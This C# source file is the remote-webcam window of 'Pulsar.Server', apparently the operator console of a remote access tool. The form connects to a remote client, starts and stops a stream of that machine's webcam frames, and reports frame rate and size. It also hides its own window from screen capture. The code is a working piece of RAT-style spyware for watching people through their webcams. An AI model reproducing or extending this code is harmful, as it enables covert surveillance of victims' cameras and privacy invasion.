using Gma.System.MouseKeyHook; using Pulsar.Common.Messages; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Networking; using Pulsar.Server.Utilities; using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; namespace Pulsar.Server.Forms { public partial class FrmRemoteWebcam : Form { /// /// The client which can be used for the remote webcam. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// private readonly RemoteWebcamHandler _RemoteWebcamHandler; /// /// Holds the opened remote webcam form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); private int _framesForSize = 0; /// /// Creates a new remote webcam form for the client or gets the current open form, if there exists one already. /// /// The client used for the remote webcam form. /// /// Returns a new remote webcam form for the client if there is none currently open, otherwise creates a new one. /// public static FrmRemoteWebcam CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmRemoteWebcam r = new FrmRemoteWebcam(client); r.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, r); return r; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the remote webcam form. public FrmRemoteWebcam(Client client) { _connectClient = client; _RemoteWebcamHandler = new RemoteWebcamHandler(client); RegisterMessageHandler(); InitializeComponent(); DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } /// /// Registers the remote webcam message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _RemoteWebcamHandler.DisplaysChanged += DisplaysChanged; _RemoteWebcamHandler.ProgressChanged += UpdateImage; MessageHandler.Register(_RemoteWebcamHandler); } /// /// Unregisters the remote webcam message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_RemoteWebcamHandler); _RemoteWebcamHandler.DisplaysChanged -= DisplaysChanged; _RemoteWebcamHandler.ProgressChanged -= UpdateImage; _connectClient.ClientState -= ClientDisconnected; } /// /// Subscribes to local mouse and keyboard events for remote webcam input. /// private void SubscribeEvents() { } /// /// Unsubscribes from local mouse and keyboard events. /// private void UnsubscribeEvents() { } /// /// Starts the remote webcam stream and begin to receive webcam frames. /// private void StartStream() { ToggleConfigurationControls(true); picWebcam.Start(); // Subscribe to the new frame counter. picWebcam.SetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picWebcam; _RemoteWebcamHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex); } /// /// Stops the remote desktop stream. /// private void StopStream() { ToggleConfigurationControls(false); picWebcam.Stop(); // Unsubscribe from the frame counter. It will be re-created when starting again. picWebcam.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picWebcam; _RemoteWebcamHandler.EndReceiveFrames(); } /// /// Toggles the activatability of configuration controls in the status/configuration panel. /// /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationControls(bool started) { btnStart.Enabled = !started; btnStop.Enabled = started; barQuality.Enabled = !started; cbMonitors.Enabled = !started; } /// /// Toggles the visibility of the status/configuration panel. /// /// Decides if the panel should be visible. private void TogglePanelVisibility(bool visible) { panelTop.Visible = visible; btnShow.Visible = !visible; this.ActiveControl = picWebcam; } /// /// Called whenever the remote displays changed. /// /// The message handler which raised the event. /// The currently available displays. private void DisplaysChanged(object sender, string[] displays) { if (displays == null || displays.Length == 0) { MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", "Display change failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } cbMonitors.Items.Clear(); for (int i = 0; i < displays.Length; i++) cbMonitors.Items.Add($"Display {displays[i]}"); cbMonitors.SelectedIndex = 0; } /// /// Updates the current webcam image by drawing it to the webcam picturebox. /// /// The message handler which raised the event. /// The new webcam image to draw. private void UpdateImage(object sender, Bitmap bmp) { _framesForSize++; if (_framesForSize >= 60) { _framesForSize = 0; long last = _RemoteWebcamHandler.LastFrameSizeBytes; double avg = _RemoteWebcamHandler.AverageFrameSizeBytes; double lastKB = last / 1024.0; double avgKB = avg / 1024.0; this.Invoke((MethodInvoker)delegate { sizeLabelCounter.Text = $"{avgKB:0.0} KB"; }); } picWebcam.UpdateImage(bmp, false); } private void FrmRemoteWebcam_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Remote Webcam", _connectClient); OnResize(EventArgs.Empty); // trigger resize event to align controls _RemoteWebcamHandler.RefreshDisplays(); } /// /// Updates the title with the current frames per second. /// /// The new frames per second. private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) { float fpsToShow = _RemoteWebcamHandler.CurrentFps > 0 ? _RemoteWebcamHandler.CurrentFps : e.CurrentFramesPerSecond; this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Webcam", _connectClient), fpsToShow.ToString("0.00")); } private void FrmRemoteWebcam_FormClosing(object sender, FormClosingEventArgs e) { // all cleanup logic goes here UnsubscribeEvents(); if (_RemoteWebcamHandler.IsStarted) StopStream(); UnregisterMessageHandler(); _RemoteWebcamHandler.Dispose(); picWebcam.GetImageSafe?.Dispose(); picWebcam.GetImageSafe = null; } private void FrmRemoteWebcam_Resize(object sender, EventArgs e) { if (WindowState == FormWindowState.Minimized) return; _RemoteWebcamHandler.LocalResolution = picWebcam.Size; btnShow.Left = (this.Width - btnShow.Width) / 2; } private void btnStart_Click(object sender, EventArgs e) { if (cbMonitors.Items.Count == 0) { MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } SubscribeEvents(); StartStream(); } private void btnStop_Click(object sender, EventArgs e) { UnsubscribeEvents(); StopStream(); } #region Remote Desktop Configuration private void barQuality_Scroll(object sender, EventArgs e) { int value = barQuality.Value; lblQualityShow.Text = value.ToString(); if (value < 25) lblQualityShow.Text += " (low)"; else if (value >= 85) lblQualityShow.Text += " (best)"; else if (value >= 75) lblQualityShow.Text += " (high)"; else if (value >= 25) lblQualityShow.Text += " (mid)"; this.ActiveControl = picWebcam; } #endregion private void btnHide_Click(object sender, EventArgs e) { TogglePanelVisibility(false); } private void btnShow_Click(object sender, EventArgs e) { TogglePanelVisibility(true); } } }